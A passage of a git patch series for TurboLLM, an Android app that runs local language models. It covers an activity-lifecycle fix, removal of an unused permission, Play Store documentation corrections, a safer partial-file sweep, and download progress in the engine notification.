created since: MainActivity.onCreate takes its number at once, while + // the start it sends waits on the main thread behind that onCreate, and stopWhenIdle stays set until it runs. + val activity = newestActivity Thread({ // `busy` is the poll's view, up to 3 s old: a reply sent just before Back would not be in it yet. Ask the // daemon now, and again right before unloading, so a generation that has just started is never aborted. val idle = !queryBusy() && !queryDownloading() && !ModelImport.isRunning() - if (idle) unloadModel { stopWhenIdle && !queryBusy() && !queryDownloading() && !ModelImport.isRunning() } + if (idle) { + unloadModel { + stopWhenIdle && newestActivity == activity && + !queryBusy() && !queryDownloading() && !ModelImport.isRunning() + } + } ContextCompat.getMainExecutor(this).execute { stopping.set(false) // onDestroy releases the wake lock and clears `running` once the stop takes effect. - if (idle && stopWhenIdle && !busy) stopSelfResult(startId) + if (idle && stopWhenIdle && newestActivity == activity && !busy) stopSelfResult(startId) } }, "turbollm-stop").start() } @@ -363,10 +377,18 @@ class EngineService : Service() { } companion object { - /** The activity is finishing (Back): see ACTION_ACTIVITY_FINISHED. */ - fun activityFinished(context: Context) { + /** The number of the newest MainActivity instance (activityOpened), so a close from an older one is ignored + * (see ACTION_ACTIVITY_FINISHED). Set on the main thread, read by the stop thread too. */ + @Volatile private var newestActivity = 0 + + /** MainActivity.onCreate: this activity's number, to hand back to activityFinished. */ + fun activityOpened(): Int = ++newestActivity + + /** The activity numbered [activity] is finishing (Back): see ACTION_ACTIVITY_FINISHED. */ + fun activityFinished(context: Context, activity: Int) { runCatching { - context.startService(Intent(context, EngineService::class.java).setAction(ACTION_ACTIVITY_FINISHED)) + val intent = Intent(context, EngineService::class.java).setAction(ACTION_ACTIVITY_FINISHED) + context.startService(intent.putExtra(EXTRA_ACTIVITY, activity)) }.onFailure { Log.w(TAG, "could not reach the engine service", it) } } diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt index 39973d6..e5870ba 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt @@ -44,6 +44,8 @@ private val nodeStarted = AtomicBoolean(false) class MainActivity : ComponentActivity() { private lateinit var storageAccess: StorageAccess + /** From EngineService.activityOpened: the service ignores this activity's close once a newer one is open. */ + private var activityNumber = 0 /** The system file picker for importing models (ModelImport). Any type: .gguf and .litertlm have no MIME type * providers agree on, so ModelImport checks the name instead. */ @@ -67,6 +69,8 @@ class MainActivity : ComponentActivity() { ) super.onCreate(savedInstanceState) recordCrashes() + // First, so a stop the service began on the last Back sees at once that the app is open again (stopNow). + activityNumber = EngineService.activityOpened() // The daemon ships inside the APK and is unpacked here, so a Play Store install needs // nothing pushed to the device. Synchronous on purpose: the Node thread started below @@ -148,7 +152,8 @@ class MainActivity : ComponentActivity() { override fun onDestroy() { // Back, not a configuration change (those no longer recreate the activity, see the manifest). - if (isFinishing) EngineService.activityFinished(this) + // Android may run this only after the app was opened again, a new MainActivity included (activityNumber). + if (isFinishing) EngineService.activityFinished(this, activityNumber) super.onDestroy() } From 5e0e523160e4806cad83efd45c03b82c62012671 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 12:10:18 +0000 Subject: [PATCH 48/80] fix(android): drop the unused battery-optimization exemption permission The manifest declared REQUEST_IGNORE_BATTERY_OPTIMIZATIONS, the permission an app needs to open the system dialog that asks the user to exempt it from battery optimizations (ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS). Nothing in the app sends that intent or reads the exemption: no Kotlin or Java source mentions it, now or anywhere in the history, the WebView has no JavaScript bridge and opens no intent: links, and neither the web UI nor the daemon names it. Google Play allows asking for the exemption directly only when the app's core function is badly affected without it, so a declaration the app never uses only risks being flagged in review. EngineService already keeps the process running with a foreground service and, while there is work, a partial wake lock. Older bug, not from this PR: origin/main declares it, since b6f665b (feat: Spike A as Kotlin Multiplatform (Compose Multiplatform, nodejs-mobile)). - AndroidManifest.xml: the uses-permission line is removed. - play-store-assets/privacy-notes.md: the permission list no longer names it as declared and unused; the line on permissions the app does not hold says it is gone. Behaviour change: none at run time. The app no longer holds the permission, which it never used. Tests: there is no test harness for the manifest in this repo, so none is added. processDebugResources and compileDebugKotlinAndroid pass, and aapt2 dump permissions of the linked resources lists the permission before the change and not after it, with the other permissions unchanged; no library adds it back in the merged manifest. --- composeApp/src/androidMain/AndroidManifest.xml | 1 - play-store-assets/privacy-notes.md | 6 ++---- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/composeApp/src/androidMain/AndroidManifest.xml b/composeApp/src/androidMain/AndroidManifest.xml index 7512870..66f9276 100644 --- a/composeApp/src/androidMain/AndroidManifest.xml +++ b/composeApp/src/androidMain/AndroidManifest.xml @@ -2,7 +2,6 @@ - diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index 2ff16ad..8cff58f 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -103,14 +103,12 @@ CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnosti folder is set (`StorageAccess.kt`). On Android 11+ the app requests no storage permission, so in shared storage it can read only files it created itself; models are imported with the system file picker, which needs none. - - `REQUEST_IGNORE_BATTERY_OPTIMIZATIONS` — declared since the first build, but nothing uses it: - no code asks for the exemption (`ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS`). Google Play - allows asking for it only when Doze breaks the app's core function, so remove it or justify - it before submitting. - No location, camera, microphone or contacts permission, and no All files access (`MANAGE_EXTERNAL_STORAGE`). `FOREGROUND_SERVICE_DATA_SYNC`, which an earlier build declared for a foreground service it never implemented and Play's automated review flagged, is gone; the foreground service now in the app is the `specialUse` one above. + `REQUEST_IGNORE_BATTERY_OPTIMIZATIONS`, which earlier builds declared but never used (no code + asked for the exemption), is gone too. ## Where data lives From 9ba4791de6d11c22d49d4dac00bb61d099b62c8f Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 21:44:03 +0000 Subject: [PATCH 49/80] docs: FGS video script loads a model the default engine runs PLAY-FGS-DECLARATION.md's video script, the recording Play reviews with the foreground service declaration, starts with "On the Models screen, load a small model, for example a .litertlm such as LFM2.5-230M." With TurboLLM#287 a model loads only on the engine the user selected, and on a fresh install of the app that is the bundled llama.cpp: seed.ts registers it first, the registry makes the first engine it registers the selected one, and it registers the bundled LiteRT-LM engine without selecting it. The Models screen then marks the .litertlm "needs LiteRT-LM" and hides it, and a Load of it once every model is shown (the Settings option or the Models screen's Show all) starts it on llama.cpp, which fails. The owner following the script on a fresh install could not load the model, so step 2, the long reply that keeps streaming in the background, could not be recorded. Older text, origin/main has it; it became wrong with TurboLLM#287's fix(engines): a model loads only on the engine the user selected, which this PR ships with. fix(android): FGS declaration says why downloads keep specialUse (c84446e) edited this file earlier in this PR and left the script as it was. PLAY-FGS-DECLARATION.md, video script step 1: load a small GGUF, for example Qwen2.5-0.5B-Instruct (Q4_K_M), which runs on llama.cpp, the engine the app selects until the user picks another. It says that a .litertlm such as LFM2.5-230M runs only on LiteRT-LM, which the app never selects by itself, that under llama.cpp the Models screen hides it and a load fails, and that to record with one LiteRT-LM is selected in Engines first, where the engine selector at the top lists it as litert-lm-android. The timings and the other steps are unchanged. Docs only. Checked against TurboLLM#287: seed.ts (the order of the bundled engines; LiteRT-LM registered, not selected), registry.ts (engineForModel returns the selected engine for every non-Laya model; the first engine added becomes the selected one), compat.ts (a .litertlm under llama-server is "needs LiteRT-LM"; manualLoadRefusal lets a Load of it go to llama.cpp), web model-kind.ts listedForLoading and engine-groups.ts groupLabel (the selector names the bundled engine by its engine name). A scratch test run against that code, deleted afterwards, registered stand-ins for the bundled servers with ensureAndroidBundledEngine: llama-server-android was selected, a .litertlm went to it as "needs LiteRT-LM" and a GGUF went to it with no incompatibility; after selecting litert-lm-android the .litertlm went there with none. --- PLAY-FGS-DECLARATION.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/PLAY-FGS-DECLARATION.md b/PLAY-FGS-DECLARATION.md index e030dc6..72fa7e6 100644 --- a/PLAY-FGS-DECLARATION.md +++ b/PLAY-FGS-DECLARATION.md @@ -81,8 +81,12 @@ during generation. Record with the system screen recorder, with touches shown (Developer options → Show taps). Use a small model, so the first load is quick and the reply visibly continues. -1. **0:00** Open TurboLLM. On the Models screen, load a small model, for example a - `.litertlm` such as LFM2.5-230M. +1. **0:00** Open TurboLLM. On the Models screen, load a small GGUF model, for example + Qwen2.5-0.5B-Instruct (Q4_K_M). It runs on llama.cpp, the engine the app selects until you + pick another. A `.litertlm` model such as LFM2.5-230M runs only on LiteRT-LM, which the app + never selects by itself: under llama.cpp the Models screen hides it and a load started + anyway fails. To record with one, select LiteRT-LM in Engines before you start recording + (the engine selector at the top of that screen lists it as `litert-lm-android`). 2. **0:08** In Workspace, ask for something long: *"Write a 500-word story about a lighthouse keeper."* Let a line or two of the reply appear. 3. **0:15** Pull down the notification shade. Show the TurboLLM notification reading From b74b5bdfbd4eec5ad18ea550a71540109c79910a Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Mon, 19 Oct 2026 08:52:01 +0000 Subject: [PATCH 50/80] fix(android): the import sweep leaves a daemon download's .part alone ModelImport writes a picked model to .part and renames it when the copy is complete. sweepPartialFiles, run at every MainActivity.onCreate, and sweep(), run before every picker import, delete every top-level *.part in /models whenever no other import is running, on the assumption that only an import can leave one there. That folder is also one of the daemon's model folders (seed.ts ensureAndroidModelsDir adds it), and the user can make it the primary download folder in Settings > Model folders. A non-Hugging Face Import from URL then downloads to /models/.part, at the top level of that folder, and the sweep deleted it: reopening the app after Back during such a download, or starting a picker import, let the daemon finish writing the unlinked file and then fail with "ENOENT ... rename", and a paused download (for example after Quit) started again from byte 0. Hugging Face downloads land in an subfolder and were not affected. Older bug, not from this PR: origin/main sweeps the same way. Since fix(android): count downloads as busy; re-post a swiped notification (758b58e) a running download also keeps the process alive after Back with notifications off, so the reopen that runs the sweep can now happen in that case too. - ModelImport.kt: the import writes .import-part, and sweep() deletes only files with that suffix, so the daemon's .part is never touched. The class comment and sweepPartialFiles' comment say why the suffix is the import's own. - MainActivity.kt: the comment on the start-up sweep names the new suffix. Behaviour change: an import's temporary file is named .import-part instead of .part, and the start-up and pre-import sweeps leave a daemon download's .part in files/models alone. A .part left by an import that was interrupted before this update is no longer swept; that is at most one file, and no clean-up is added for it. An import of foo.gguf also no longer writes the same foo.gguf.part as a daemon download of foo.gguf into this folder. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the compiled ModelImport class, android.jar and a stub android.util.Log, calling the private sweep(File) on a scratch models folder holding a daemon download's gemma-3n-E2B-it-int4.litertlm.part, a picked.gguf.import-part, a finished done.gguf and an owner_repo/q4.gguf.part. Before the fix the sweep deleted the daemon's .part; after it, it deletes only the .import-part and keeps the other three. The compiled copy() builds its temporary name from the same constant. compileDebugKotlinAndroid passes. Not run on a device. --- .../kotlin/com/turbollm/app/MainActivity.kt | 3 ++- .../kotlin/com/turbollm/app/ModelImport.kt | 20 ++++++++++++------- 2 files changed, 15 insertions(+), 8 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt index e5870ba..c89f71b 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt @@ -80,7 +80,8 @@ class MainActivity : ComponentActivity() { EngineService.start(this) requestNotificationPermission() storageAccess = StorageAccess(this) - // A model import interrupted by the process dying leaves a multi-GB .part behind; nothing else removes it. + // A model import interrupted by the process dying leaves a multi-GB .import-part behind; nothing else + // removes it. Only that suffix: a daemon download into the same folder keeps its .part there. Thread { ModelImport.sweepPartialFiles(this) }.start() if (nodeStarted.compareAndSet(false, true)) { diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt index 12af5ee..98397ba 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt @@ -28,8 +28,11 @@ private const val TAG = "TurboLLM" * that folder itself in the app, see TurboLLM engines/seed.ts) and the engines can open by path. The cost is the * file's size again until the user deletes the original. * - * - Each file is written to `.part` and renamed only when complete, so an interrupted copy never shows up in the - * library. A `.part` left by a process that died mid-copy is swept at the next app start or import. + * - Each file is written to `.import-part` and renamed only when complete, so an interrupted copy never shows up + * in the library. One left by a process that died mid-copy is swept at the next app start or import. The suffix is + * the import's own because [modelsDir] is also one of the daemon's model folders: a download the daemon writes there + * (a non-Hugging Face Import from URL once the user makes this folder the primary one) keeps its partial file as + * `.part` at the top level, which may be live or paused when a sweep runs and must never be swept. * - Free space is checked first; a name already in use by a different file gets a numbered suffix, never overwritten. * - A partial wake lock is held for the copy, and EngineService counts a running import as busy, so leaving the app * neither freezes the copy nor stops the service under it. @@ -37,20 +40,23 @@ private const val TAG = "TurboLLM" object ModelImport { private val MODEL_FILE = Regex("""\.(gguf|litertlm)$""", RegexOption.IGNORE_CASE) private val SPLIT_PART = Regex("""^(.*)-(\d{5})-of-(\d{5})\.gguf$""", RegexOption.IGNORE_CASE) + /** Not `.part`: that is the daemon's download suffix, in the same folder (see the class comment). */ + private const val IMPORT_PART = ".import-part" private val running = AtomicBoolean(false) fun isRunning(): Boolean = running.get() fun modelsDir(context: Context) = File(context.filesDir, "models") - /** Delete `*.part` files: only ever left behind by a copy whose process died, since a live import renames or - * deletes its own. Safe whenever no import is running. */ + /** Delete `*.import-part` files: only ever left behind by a copy whose process died, since a live import renames or + * deletes its own. Safe whenever no import is running. A daemon download's `*.part` here is left alone: deleting + * it under a running download made its final rename fail with ENOENT, and a paused one resume from byte 0. */ fun sweepPartialFiles(context: Context) { if (!running.get()) sweep(modelsDir(context)) } private fun sweep(dir: File) { - dir.listFiles { f -> f.isFile && f.name.endsWith(".part") }?.forEach { f -> + dir.listFiles { f -> f.isFile && f.name.endsWith(IMPORT_PART) }?.forEach { f -> if (f.delete()) Log.i(TAG, "removed an interrupted import: ${f.name}") } } @@ -88,7 +94,7 @@ object ModelImport { try { wakeLock.acquire(3 * 60 * 60 * 1000L) val dest = modelsDir(app).apply { mkdirs() } - sweep(dest) // this import has written nothing yet, so any .part here is a dead one + sweep(dest) // this import has written nothing yet, so any .import-part here is a dead one for ((i, uri) in uris.withIndex()) { if (cancelled.get()) break var label = uri.lastPathSegment ?: "file ${i + 1}" @@ -112,7 +118,7 @@ object ModelImport { } val target = freeName(dest, name) main.post { status.text = "${i + 1} of ${uris.size}: $name"; bar.progress = 0 } - part = File(dest, "${target.name}.part") + part = File(dest, "${target.name}$IMPORT_PART") copyStream(app, uri, part, size, cancelled) { p -> main.post { bar.progress = p } } if (!part.renameTo(target)) throw IllegalStateException("could not finish writing the file") part = null From 6155a5816ecf0c254cb5be4ac738c476b50a2139 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Mon, 19 Oct 2026 08:52:52 +0000 Subject: [PATCH 51/80] docs: privacy notes name the Kotlin code that talks to the daemon play-store-assets/privacy-notes.md is the input for Play's Data safety form. It cited MainActivity.kt:69 for the daemon's --no-telemetry launch args, which are about 50 lines further down (line 69 closes enableEdgeToEdge), and item 1 said DaemonClient.kt and DaemonWebView.kt "both hit http://127.0.0.1:7000". DaemonClient.kt calls 127.0.0.1:6996 and is constructed only by the commonMain App() screen, which the Android app never shows (MainActivity sets DaemonWebViewScreen), while the Kotlin code that does reach 7000 besides the WebView, DaemonAuth and its callers, went unnamed. Whoever fills in the form and checks the cited file and line found neither matched the app. The headline, that native code talks only to 127.0.0.1, was and is true. Older text: origin/main has both lines, with the args already off line 69 there. docs: Play listing and privacy notes name the app's network requests (c1a5db5) rewrote the rest of item 1 in this PR and kept the clause. - The launch args are cited as MainActivity.kt's startScript call, with no line number. - Item 1 says all of the native code's traffic goes to the embedded daemon at http://127.0.0.1:7000: DaemonWebView.kt loads the UI, and DaemonAuth.kt makes the other calls, the check that the daemon proves itself before the app sends its secret and the authenticated requests from EngineService.kt, ModelImport.kt and StorageAccess.kt. It notes that DaemonClient.kt points at 127.0.0.1:6996 and is unused Spike A code. Docs only. Checked against the source: the args line in MainActivity, DAEMON_URL in DaemonWebView.kt, HOST and BASE in DaemonAuth.kt, every DaemonAuth.open and daemonProven caller (EngineService.kt, ModelImport.kt, StorageAccess.kt, DaemonWebView.kt), and the only construction of DaemonClient (App.kt); no other Kotlin file opens a connection. --- play-store-assets/privacy-notes.md | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index 8cff58f..43b2e43 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -22,7 +22,8 @@ embedded daemon with: ```kotlin args = arrayOf("--no-telemetry", "--port", ANDROID_DAEMON_PORT.toString()), ``` -— `composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt:69` +— `composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt`, in the `startScript` call +that launches the daemon `--no-telemetry` is documented as a one-way kill switch in the telemetry doc — no runtime toggle can turn it back on. So the desktop-style telemetry system (usage levels, event log, opt-out UI @@ -45,10 +46,16 @@ Material — no Firebase, no Crashlytics, no ads SDK, no analytics SDK present * this file) and grepped all Kotlin source for network calls. Findings below describe the app AS CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnostics" row. -1. **Native app code (Kotlin) only ever talks to `127.0.0.1`** — `DaemonClient.kt` and - `DaemonWebView.kt` both hit `http://127.0.0.1:7000` (the embedded daemon). The web UI in that - WebView goes further, though: it loads the images its pages point at from any https host, and - from any host over plain http on port 80. The daemon's CSP for the app allows that on purpose +1. **Native app code (Kotlin) only ever talks to `127.0.0.1`**: all of it goes to the embedded + daemon at `http://127.0.0.1:7000`. `DaemonWebView.kt` loads the UI from there, and + `DaemonAuth.kt` makes the app's other calls to it: the check that the daemon proves itself + before the app sends its secret, and the authenticated requests from `EngineService.kt` + (activity, downloads, engine stop), `ModelImport.kt` (adding the imported-models folder) and + `StorageAccess.kt` (rescan). (`DaemonClient.kt` in `commonMain` points at + `127.0.0.1:6996`; it is unused Spike A code that only the old `App()` screen, which the + Android app never shows, constructs.) The web UI in that WebView goes further, though: it + loads the images its pages point at from any https host, and from any host over plain http + on port 80. The daemon's CSP for the app allows that on purpose (`APP_SECRET_CSP` in its `server.ts`: images and media from `'self'`, any `https:` host, `http://*`, which with no port matches plain http on port 80 only, `data:` and `blob:`), and `DaemonWebView.kt` refuses only other `127.0.0.1` ports. Those are the images in a model card From e6099a07bd3d03fda092d12593827bfbc12ba0e2 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Mon, 19 Oct 2026 08:53:41 +0000 Subject: [PATCH 52/80] docs: FGS video script selects LiteRT-LM by the name Engines shows MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Step 1 of PLAY-FGS-DECLARATION.md's video script, the recording Play reviews with the foreground service declaration, says that to record with a .litertlm model LiteRT-LM is selected in Engines first, where "the engine selector at the top of that screen lists it as litert-lm-android". With TurboLLM#287's fix(web): the Android app's LiteRT-LM card can select it, and says so, which ships with this PR, the selector names the built-in engines by their titles: its row reads "LiteRT-LM", the line under it "LiteRT-LM · CPU · GPU", and no text on the screen reads litert-lm-android. The LiteRT-LM card under "Built into the app" also gained a Use button. Someone recording with a .litertlm looked for a row that does not exist. Gap in this PR: docs: FGS video script loads a model the default engine runs (9ba4791) was written against TurboLLM#287 before that web fix and was not updated with it. PLAY-FGS-DECLARATION.md, video script step 1: the parenthesis says to tap Use on LiteRT-LM's card under "Built into the app", or pick "LiteRT-LM" in the engine selector at the top of that screen. The rest of the script is unchanged. Docs only. Checked against TurboLLM#287: engine-groups.ts (BUNDLED_ENGINE_TITLES gives litert-lm-android the label "LiteRT-LM"), EnginesScreen.tsx (the "Built into the app" section and the bundled card's Use / In use button), and EnginesScreen.test.tsx's "names the built-in engines in the selector, not by their registered names", which checks the selector and its menu read "LiteRT-LM" and nothing reads litert-lm-android. --- PLAY-FGS-DECLARATION.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/PLAY-FGS-DECLARATION.md b/PLAY-FGS-DECLARATION.md index 72fa7e6..f8f3673 100644 --- a/PLAY-FGS-DECLARATION.md +++ b/PLAY-FGS-DECLARATION.md @@ -86,7 +86,8 @@ a small model, so the first load is quick and the reply visibly continues. pick another. A `.litertlm` model such as LFM2.5-230M runs only on LiteRT-LM, which the app never selects by itself: under llama.cpp the Models screen hides it and a load started anyway fails. To record with one, select LiteRT-LM in Engines before you start recording - (the engine selector at the top of that screen lists it as `litert-lm-android`). + (tap Use on its card under "Built into the app", or pick "LiteRT-LM" in the engine selector + at the top of that screen). 2. **0:08** In Workspace, ask for something long: *"Write a 500-word story about a lighthouse keeper."* Let a line or two of the reply appear. 3. **0:15** Pull down the notification shade. Show the TurboLLM notification reading From f435594c36f98c1fb82de074d81a4dec6cd1cf2c Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 21 Oct 2026 14:30:43 +0000 Subject: [PATCH 53/80] fix(android): the download notification shows its progress and speed MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit While the daemon downloads a model (Discover, or Import from URL), the engine notification read "Downloading models" under the title "TurboLLM", and nothing else: which file, how much of it had arrived and how fast were only in the app. EngineService's poll already reads GET /api/v1/downloads every 3 s through DaemonAuth, but kept only whether a row was running or queued. Someone who left the app during a multi-GB download had to open it again to see whether it was moving. A poll that could not read the list (the daemon slow to answer) also turned the line into "Running in the background" for 3 s. The line came with fix(android): count downloads as busy; re-post a swiped notification (758b58e), earlier in this PR; origin/main does not mention downloads in the notification. - DownloadNotice.kt (new): parseLiveDownloads reads the running and queued rows of the reply (name, received, total, bytesPerSec; a field missing or of another type reads as 0, a reply that is not the list as a failed poll). downloadNotice makes the notification's lines. One running file: its name as the title (the system ellipsizes it), " of · " under it, or " · " while its size is unknown. Several: the title "Downloading models" and "N downloads · of · ". Queued rows add " · N waiting" ("N downloads waiting" when nothing runs yet). The bar is out of 1000 over the running files' summed totals, indeterminate while any of their sizes is unknown. formatSize and formatSpeed write sizes and speeds as the web's Downloads panel does (DownloadsPanel.tsx fmtSize, fmtSpeed): decimal units, "1.23 GB" from 1 GB up and whole MB below, "12.3 MB/s" from 1 MB/s up and whole KB/s below; a speed of 0 is left out, as there. - EngineService.kt: queryDownloads returns those rows, or null when the list could not be read; the poll's work check and queryDownloading (the stop's check) read a failure as idle, as before. The poll keeps the lines and posts the notification again whenever they would read differently, at its existing 3 s pace, with setOnlyAlertOnce and setSilent as before. A failed poll keeps the last lines, for up to three polls in a row. buildNotification shows them in place of "Downloading models", with NotificationCompat's setProgress (every API level from minSdk 24; the FGS type and permissions are unchanged). An import is still named first, and the idle, generating and hot lines are as they were. - PLAY-FGS-DECLARATION.md: the description of the notification's text says what a download shows. Behaviour change: while a model download is running or queued, the engine notification's title is the file's name (or "Downloading models" for several), its text how much has arrived of how much and how fast, plus "N waiting" for queued files, and it has a progress bar, updated every 3 s, silently. A failed poll keeps the last progress for up to three polls instead of showing "Running in the background". Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM. DownloadNotice.kt, compiled with kotlinc 2.2.20 against Android's org.json, gives the expected lines for one file of known size (1.234 of 3.14 GB at 12.35 MB/s: "1.23 GB of 3.14 GB · 12.3 MB/s", bar 392 of 1000), of unknown size ("512 MB · 850 KB/s", indeterminate), at 0 B/s ("0 MB of 4.92 GB"), one running with two queued ("... · 2 waiting"), two running with one queued ("2 downloads · 4.00 GB of 18.54 GB · 35.1 MB/s · 1 waiting", 215), two with one size unknown (indeterminate), queued only, 25.6 of 40 GB (640, no Int overflow), more received than the total (capped at 1000), paused, failed, cancelled and done rows (not counted), and malformed rows and replies. The real EngineService.kt, compiled with commit 23's stubs (bd61188, fix(android): a notification dropped before a grant is posted again), extended so the daemon answers each path from a script and the builder records its title, text and setProgress call, was run through the same cases poll by poll. Before the fix every download case read "TurboLLM" / "Downloading models" with no bar, and a failed poll "Running in the background". After it the shade shows the lines above, an unchanged list posts nothing new, the last progress stays through three failed polls and goes on the fourth, an import still reads "Importing models", and the wake lock is taken and released at the same polls as before. compileDebugKotlinAndroid passes. Not run on a device. A device check should look at the shade during one download (name, sizes, speed, the bar moving every 3 s with no sound or vibration), during two at once (an HF model's shards, summed, "N waiting" for the rest), and during an Import from URL whose server sends no length (an indeterminate bar, no "of"). --- PLAY-FGS-DECLARATION.md | 3 +- .../kotlin/com/turbollm/app/DownloadNotice.kt | 87 +++++++++++++++++++ .../kotlin/com/turbollm/app/EngineService.kt | 51 ++++++++--- 3 files changed, 126 insertions(+), 15 deletions(-) create mode 100644 composeApp/src/androidMain/kotlin/com/turbollm/app/DownloadNotice.kt diff --git a/PLAY-FGS-DECLARATION.md b/PLAY-FGS-DECLARATION.md index f8f3673..a580470 100644 --- a/PLAY-FGS-DECLARATION.md +++ b/PLAY-FGS-DECLARATION.md @@ -58,7 +58,8 @@ during generation. > that stops the service, unloads the model and closes the app. On Android 14 and later, where the user can swipe > this notification away, it is posted again at once, so Quit stays reachable. Its text says what is happening: > "Running in the background" while idle, "Generating" while a reply is being written, "Importing models" during an -> import, "Downloading models" while a model download is running or queued, and, when the phone is thermally +> import, the progress while a model download is running or queued (the file's name as the title, or "Downloading +> models" for several, how much has arrived and how fast, and a progress bar), and, when the phone is thermally > throttled, "Running. The phone is hot, so generation will be slower" or "Generating. The phone is hot, so it is > throttling speed". If the user has turned notifications off, so Quit cannot be reached, leaving the app (Back, or > swiping it away from Recents) unloads the model and stops the service as soon as nothing is generating, importing or diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DownloadNotice.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DownloadNotice.kt new file mode 100644 index 0000000..dda5027 --- /dev/null +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DownloadNotice.kt @@ -0,0 +1,87 @@ +package com.turbollm.app + +import org.json.JSONObject +import java.util.Locale +import kotlin.math.roundToLong + +/** The engine notification's progress bar is out of this many steps: a multi-GB byte count does not fit the Int + * setProgress takes, and a thousand steps is finer than the bar can draw. */ +internal const val DOWNLOAD_PROGRESS_MAX = 1000 + +/** One row of the daemon's GET /api/v1/downloads that is running or queued, the two statuses that keep the engine + * service at work (a paused or failed download transfers nothing). [total] is 0 while the size is unknown: a raw + * URL until its reply names a length. [bytesPerSec] is the daemon's own measure, 0 before the first one. */ +internal data class LiveDownload( + val name: String, + val queued: Boolean, + val received: Long, + val total: Long, + val bytesPerSec: Double, +) + +/** What the engine notification shows while downloads run or wait (EngineService.buildNotification). [progress] is + * out of [DOWNLOAD_PROGRESS_MAX] and means nothing when [indeterminate]. */ +internal data class DownloadNotice(val title: String, val text: String, val progress: Int, val indeterminate: Boolean) + +/** The running and queued rows of a GET /api/v1/downloads reply, or null when the reply is not the list the daemon + * sends (the poll then counts as failed, and as idle, as before). A row with a field missing or of another type + * reads that field as 0 instead of failing the whole list. */ +internal fun parseLiveDownloads(body: String): List? { + val list = runCatching { JSONObject(body).optJSONArray("downloads") }.getOrNull() ?: return null + return (0 until list.length()).mapNotNull { i -> + val row = list.optJSONObject(i) ?: return@mapNotNull null + val status = row.optString("status") + if (status != "downloading" && status != "queued") return@mapNotNull null + val speed = row.optDouble("bytesPerSec", 0.0) + LiveDownload( + name = row.optString("name"), + queued = status == "queued", + received = row.optLong("received").coerceAtLeast(0), + total = row.optLong("total").coerceAtLeast(0), + bytesPerSec = if (speed.isFinite() && speed > 0) speed else 0.0, + ) + } +} + +/** The notification for [rows], or null when there are none. One running file is named in the title (the system + * ellipsizes a long name), with " of · " under it; several are summed under "Downloading + * models", as "N downloads · ...". Queued rows are counted as "N waiting", not summed: nothing of theirs is moving. + * The bar runs over the summed totals of the running files, and is indeterminate while any of their sizes is + * unknown or nothing is running yet. A speed of 0 (none measured yet) is left out, as the web's Downloads panel + * leaves it out. */ +internal fun downloadNotice(rows: List): DownloadNotice? { + if (rows.isEmpty()) return null + val running = rows.filter { !it.queued } + val waiting = rows.size - running.size + val received = running.sumOf { it.received } + val total = running.sumOf { it.total } + val sized = running.isNotEmpty() && running.all { it.total > 0 } + val speed = running.sumOf { it.bytesPerSec } + val amount = buildString { + append(formatSize(received)) + if (sized) append(" of ").append(formatSize(total)) + if (speed > 0) append(" · ").append(formatSpeed(speed)) + } + val text = when (running.size) { + 0 -> if (waiting == 1) "1 download waiting" else "$waiting downloads waiting" + 1 -> amount + else -> "${running.size} downloads · $amount" + } + return DownloadNotice( + title = running.singleOrNull()?.name?.takeIf { it.isNotBlank() } ?: "Downloading models", + text = if (running.isNotEmpty() && waiting > 0) "$text · $waiting waiting" else text, + progress = if (sized) (received.coerceAtMost(total) * DOWNLOAD_PROGRESS_MAX / total).toInt() else 0, + indeterminate = !sized, + ) +} + +/** A size as the web's Downloads panel writes it (DownloadsPanel.tsx fmtSize), so the shade and the app agree: + * decimal units, "1.23 GB" from 1 GB up and whole megabytes below. Locale.ROOT, like the panel's toFixed. 